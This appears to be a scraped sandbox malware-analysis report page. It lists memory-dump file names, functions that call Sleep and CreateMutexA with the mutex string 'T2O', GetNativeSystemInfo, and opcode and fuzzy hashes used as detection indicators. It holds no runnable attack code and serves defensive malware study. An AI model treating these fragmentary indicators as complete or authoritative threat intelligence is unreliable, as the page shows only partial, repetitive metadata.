Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: 9674cdb72f6bda0c5f6119aee427331a5344a9665e560ff98df4d53fde4e9966
Instruction ID: 0272c1557c2aed02d869b998c44cea30133011eec345522cf8b083aacb15b333
Opcode Fuzzy Hash: 9674cdb72f6bda0c5f6119aee427331a5344a9665e560ff98df4d53fde4e9966
Instruction Fuzzy Hash: 52313971B041009BEF08DB78CD89B6DBB61EB82328F24862EE044973D5CB7D9990865A

Function 0049A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: edf22e771e30d252ff8cf92cb8af6461475dbcd150190529ae7bcef4560156ff
Instruction ID: b5a2cca7f5f20b4f70f2920883ccfe9bcde246c76684408a47ce1ed3f0dab563
Opcode Fuzzy Hash: edf22e771e30d252ff8cf92cb8af6461475dbcd150190529ae7bcef4560156ff
Instruction Fuzzy Hash: 6C318A71A041008BEF08DB7CCD89B6DBFB2EB82314F24862EE014973D5C77D8990829A

Function 00499ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: 08d84f6ad45ebbaeaac718f7f9006caae30c2ec93615083aae3bce59a4e1aeab
Instruction ID: 59cd23c50276505d78a13ffbdfa7f617f832119d571fee56848e06f0bf1d2302
Opcode Fuzzy Hash: 08d84f6ad45ebbaeaac718f7f9006caae30c2ec93615083aae3bce59a4e1aeab
Instruction Fuzzy Hash: 0D216771A082409BEF189F2CDD89B6DBB61EBC2315F20462EE008873D4DB7D9990865A

Function 0049A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: dfdb9998d1f81ce23df627e41e08d53cdbf3f5647e557f1c4d90b11e7b8ba1b1
Instruction ID: c2762d82cee7abc65db3afc6c45529a70d7464c067f71a29f90154e1e65750cc
Opcode Fuzzy Hash: dfdb9998d1f81ce23df627e41e08d53cdbf3f5647e557f1c4d90b11e7b8ba1b1
Instruction Fuzzy Hash: C12108716592009AFF24F769898A73EBE519F81309F34093BE108963D1DA6D495182DF

Function 0049A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0049A963
CreateMutexA.KERNEL32(00000000,00000000,004F3254), ref: 0049A981

Strings

T2O, xrefs: 0049A970

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695687359.00000000007B5000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_490000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2O
API String ID: 1464230837-2682738446
Opcode ID: b491e166b07afd63665d987763936eade614fffe4201c72e624adaba67d3e4e4
Instruction ID: 07a1d40b51d422b0e679f2d478b43b5c79ef8c0cb97523eed3a571da48359814
Opcode Fuzzy Hash: b491e166b07afd63665d987763936eade614fffe4201c72e624adaba67d3e4e4
Instruction Fuzzy Hash: 08216771A082009BEF18DB2CDD8976DBB62EBD2315F20462FE404977D4DB7E9590829A

Function 00497D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00497ED3

Memory Dump Source

Source File: 00000000.00000002.1693695905.0000000000491000.00000040.00000001.01000000.00000003.sdmp, Offset: 00490000, based on PE: true

Associated: 00000000.00000002.1693562113.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1693695905.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694324251.00000000004F9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694367536.00000000004FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694411712.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694428980.0000000000506000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694445434.0000000000507000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1694654030.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695074453.000000000066B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.0000000000680000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695092498.000000000068E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695124931.0000000000693000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695139408.0000000000694000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695153961.0000000000696000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695168343.0000000000697000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695200717.0000000000698000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695213601.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695232057.00000000006B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695247078.00000000006B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695262924.00000000006C1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695281765.00000000006D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695300594.00000000006EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695315547.00000000006F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695329478.00000000006F2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695343794.00000000006F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695359304.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695373645.0000000000704000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695388666.0000000000705000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695402775.0000000000707000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695421233.000000000071F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695436344.0000000000723000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695449969.0000000000724000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695465729.0000000000727000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695479810.0000000000728000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695494583.0000000000730000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695511240.0000000000741000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695526129.0000000000742000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695542046.000000000074D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000074E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695556203.000000000076B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695597549.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695612933.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695627779.000000000079F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695642712.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695657164.00000000007A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1695672860.00000000007B4000.00000040.00000001.01000000.00000003.sdmpDownload File
